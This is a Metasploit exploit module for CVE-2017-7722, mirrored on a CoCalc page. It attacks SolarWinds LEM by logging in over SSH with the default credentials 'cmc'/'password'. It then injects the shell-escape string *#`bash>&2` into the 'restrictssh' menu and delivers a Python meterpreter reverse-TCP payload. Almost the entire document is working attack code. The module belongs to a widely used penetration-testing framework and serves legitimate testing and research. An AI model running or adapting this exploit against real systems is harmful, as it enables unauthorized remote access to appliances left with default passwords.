CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ssh/solarwinds_lem_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::SSH
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'SolarWinds LEM Default SSH Password Remote Code Execution',
16
'Description' => %q{
17
This module exploits the default credentials of SolarWinds LEM. A menu system is encountered when the SSH
18
service is accessed with the default username and password which is "cmc" and "password". By exploiting a
19
vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
20
21
This module was tested against SolarWinds LEM v6.3.1.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Mehmet Ince <[email protected]>', # discovery & msf module
26
],
27
'References' => [
28
['CVE', '2017-7722'],
29
['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
30
],
31
'DefaultOptions' => {
32
'Payload' => 'python/meterpreter/reverse_tcp'
33
},
34
'Platform' => ['python'],
35
'Arch' => ARCH_PYTHON,
36
'Targets' => [ ['Automatic', {}] ],
37
'Privileged' => false,
38
'DisclosureDate' => '2017-03-17',
39
'DefaultTarget' => 0,
40
'Notes' => {
41
'Stability' => [CRASH_SAFE],
42
'Reliability' => [REPEATABLE_SESSION],
43
'SideEffects' => []
44
}
45
)
46
)
47
48
register_options(
49
[
50
Opt::RPORT(32022),
51
OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
52
OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
53
]
54
)
55
56
register_advanced_options(
57
[
58
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
59
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
60
]
61
)
62
end
63
64
def rhost
65
datastore['RHOST']
66
end
67
68
def rport
69
datastore['RPORT']
70
end
71
72
def username
73
datastore['USERNAME']
74
end
75
76
def password
77
datastore['PASSWORD']
78
end
79
80
def exploit
81
opts = ssh_client_defaults.merge({
82
auth_methods: ['keyboard-interactive'],
83
port: rport,
84
password: password
85
})
86
87
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
88
89
print_status("#{rhost}:#{rport} - Attempting to login...")
90
91
begin
92
ssh = nil
93
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
94
ssh = Net::SSH.start(rhost, username, opts)
95
end
96
rescue Rex::ConnectionError
97
return
98
rescue Net::SSH::Disconnect, ::EOFError
99
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
100
return
101
rescue ::Timeout::Error
102
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
103
return
104
rescue Net::SSH::AuthenticationFailed
105
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
106
rescue Net::SSH::Exception => e
107
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
108
return
109
end
110
111
return unless ssh
112
113
print_good('SSH connection is established.')
114
115
payload_executed = false
116
117
ssh.open_channel do |channel|
118
print_status('Requesting pty... We need it in order to interact with menuing system.')
119
120
channel.request_pty do |ch, pty_success|
121
raise 'Could not request pty!' unless pty_success
122
123
print_good('Pty successfully obtained.')
124
125
print_status('Requesting a shell.')
126
ch.send_channel_request('shell') do |_ch, shell_success|
127
raise 'Could not open shell!' unless shell_success
128
129
print_good('Remote shell successfully obtained.')
130
end
131
end
132
133
channel.on_data do |_ch, data|
134
if data.include? 'cmc '
135
print_good('Step 1 is done. Managed to access terminal menu.')
136
channel.send_data("service\n")
137
end
138
139
if data.include? 'service '
140
print_good("Step 2 is done. Managed to select 'service' sub menu.")
141
channel.send_data("restrictssh\n")
142
end
143
144
if data.include? 'Press <enter> to configure restriction on the SSH service to the Manager Appliance'
145
print_good("Step 3 is done. Managed to start 'restrictssh' function.")
146
channel.send_data("*#`bash>&2`\n")
147
end
148
149
if data.include? 'Are the hosts'
150
print_good('Step 4 is done. We are going to try escape from jail shell.')
151
channel.send_data("Y\n")
152
end
153
154
if data.include?('/usr/local/contego') && (payload_executed == false)
155
print_good('Sweet..! Escaped from jail.')
156
print_status('Delivering payload...')
157
channel.send_data("python -c \"#{payload.encoded}\"\n")
158
payload_executed = true
159
end
160
end
161
end
162
begin
163
ssh.loop unless session_created?
164
rescue Errno::EBADF => e
165
elog(e)
166
end
167
end
168
end
169
170